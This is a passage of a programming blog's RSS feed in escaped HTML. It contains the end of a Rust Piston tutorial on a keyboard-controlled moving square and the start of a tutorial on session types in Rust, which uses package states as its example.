&lt;/span&gt;*&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;dt&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;120.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; change_velocity(&amp;amp;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;factor: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;factor;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;factor;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; main()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;rect&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;ColoredRect::new();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;window: PistonWindow&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;WindowSettings::new(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Flying Square&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;[&lt;span style=&#34;color:#00f&#34;&gt;640&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;480&lt;/span&gt;])&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.exit_on_esc(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;true&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.vsync(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;true&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.build().unwrap();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;window_size: (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Some(e)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;window.next()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;match&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;e&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;Input::Render(r)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;window_size&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(r.width&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;r.height&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;window.draw_2d(&amp;amp;e,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|c,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                    &lt;/span&gt;clear([&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;4&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g);&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Clear to white&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                    &lt;/span&gt;rectangle(rect.color,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Color&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                &lt;/span&gt;rect.position,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Position/size&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                &lt;/span&gt;c.transform,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;});&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;Input::Update(u)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;rect.update(u.dt,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;window_size);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;Input::Press(b)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;match&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;b&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                            &lt;/span&gt;Button::Keyboard(k)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;match&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;k&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                    &lt;/span&gt;Key::W&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                        &lt;/span&gt;rect.change_velocity(&lt;span style=&#34;color:#00f&#34;&gt;1.1&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                    &lt;/span&gt;Key::S&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                        &lt;/span&gt;rect.change_velocity(&lt;span style=&#34;color:#00f&#34;&gt;0.9&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                    &lt;/span&gt;Key::F5&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                        &lt;/span&gt;rect&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;ColoredRect::new();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                    &lt;/span&gt;_&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{}&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Catch all keys&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                            &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                            &lt;/span&gt;_&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{}&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Catch non-keyboard buttons&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                        &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;_&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{}&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Catch uninteresting events&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can also check out the associated &lt;a href=&#34;https://github.com/noracodes/piston-flying-square&#34;&gt;GitHub repository&lt;/a&gt;; comments about the code or improvements are welcome as issues or PRs there, or comments on this post. You might want to look at my &lt;a href=&#34;./2016/07/06/rust-using-enums-and-match-expressionsstatements.html&#34;&gt;Rust state machine tutorial&lt;/a&gt; or my post about &lt;a href=&#34;2017/02/15/session-types.html&#34;&gt;session types&lt;/a&gt; in Rust.&lt;/p&gt;&#xA;&lt;p&gt;Happy hacking!&lt;/p&gt;&#xA;&lt;p&gt;Update: I&amp;rsquo;ve reorganized the project and &lt;a href=&#34;https://github.com/noracodes/piston-flying-square/commit/09bde51637cb0ff20b395cb1afaa0a5a85be5cb5#diff-80398c5faae3c069e4e6aa2ed11b28c0&#34;&gt;added an FPS counter&lt;/a&gt; to the top left hand corner. See my comments on that commit to learn a bit more.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Session Types</title>
      <link>https://nora.codes/tutorial/session-types/</link>
      <pubDate>Thu, 16 Feb 2017 01:49:50 +0000</pubDate>
      <guid>https://nora.codes/tutorial/session-types/</guid>
      <description>&lt;p&gt;Session types are a technique for using a rich type system, like that of Rust or OCaml, to prevent the representation of certain kinds of illegal states. Here, I&amp;rsquo;ll illustrate them with a (somewhat contrived) example.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-is-the-use-case&#34;&gt;What is the use-case?&lt;/h3&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take the example of a system representing packaging and shipping boxes. I want to create a Package data structure, pack data into it, close it (preventing adding data), address it, and then ship it. It makes no sense to send an un-addressed Package, or to insert data into a closed one.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Session types are a technique for using a rich type system, like that of Rust or OCaml, to prevent the representation of certain kinds of illegal states. Here, I&amp;rsquo;ll illustrate them with a (somewhat contrived) example.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-is-the-use-case&#34;&gt;What is the use-case?&lt;/h3&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take the example of a system representing packaging and shipping boxes. I want to create a Package data structure, pack data into it, close it (preventing adding data), address it, and then ship it. It makes no sense to send an un-addressed Package, or to insert data into a closed one.&lt;/p&gt;&#xA;&lt;p&gt;We could represent such a data structure like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; Package&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;is_closed: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;bool&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;is_addressed: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;bool&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;data: T&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We would then have lots of runtime typechecking of whether boxes submitted for shipping were addressed and such, which costs time and is error-prone. Wouldn&amp;rsquo;t it be nice if the compiler could enforce this?&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-is-it-implemented&#34;&gt;How is it implemented?&lt;/h3&gt;&#xA;&lt;p&gt;The easiest way to implement this is with three different types: an &lt;code&gt;OpenPackage&lt;/code&gt;, a &lt;code&gt;ClosedPackage&lt;/code&gt;, and an &lt;code&gt;Addressed Package&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; OpenPackage&amp;lt;T&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;contents: T&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Crucially, the &lt;code&gt;contents&lt;/code&gt; field is &lt;code&gt;pub&lt;/code&gt;. You can poke and prod and change that data all you want.&lt;/p&gt;&#xA;&lt;p&gt;This has a few capabilities: &lt;code&gt;pack&lt;/code&gt;, which takes control of whatever is supposed to go in the package and creates an OpenPackage around it, &lt;code&gt;unpack&lt;/code&gt;, which destroys the OpenPackage and gives back its contents, and finally 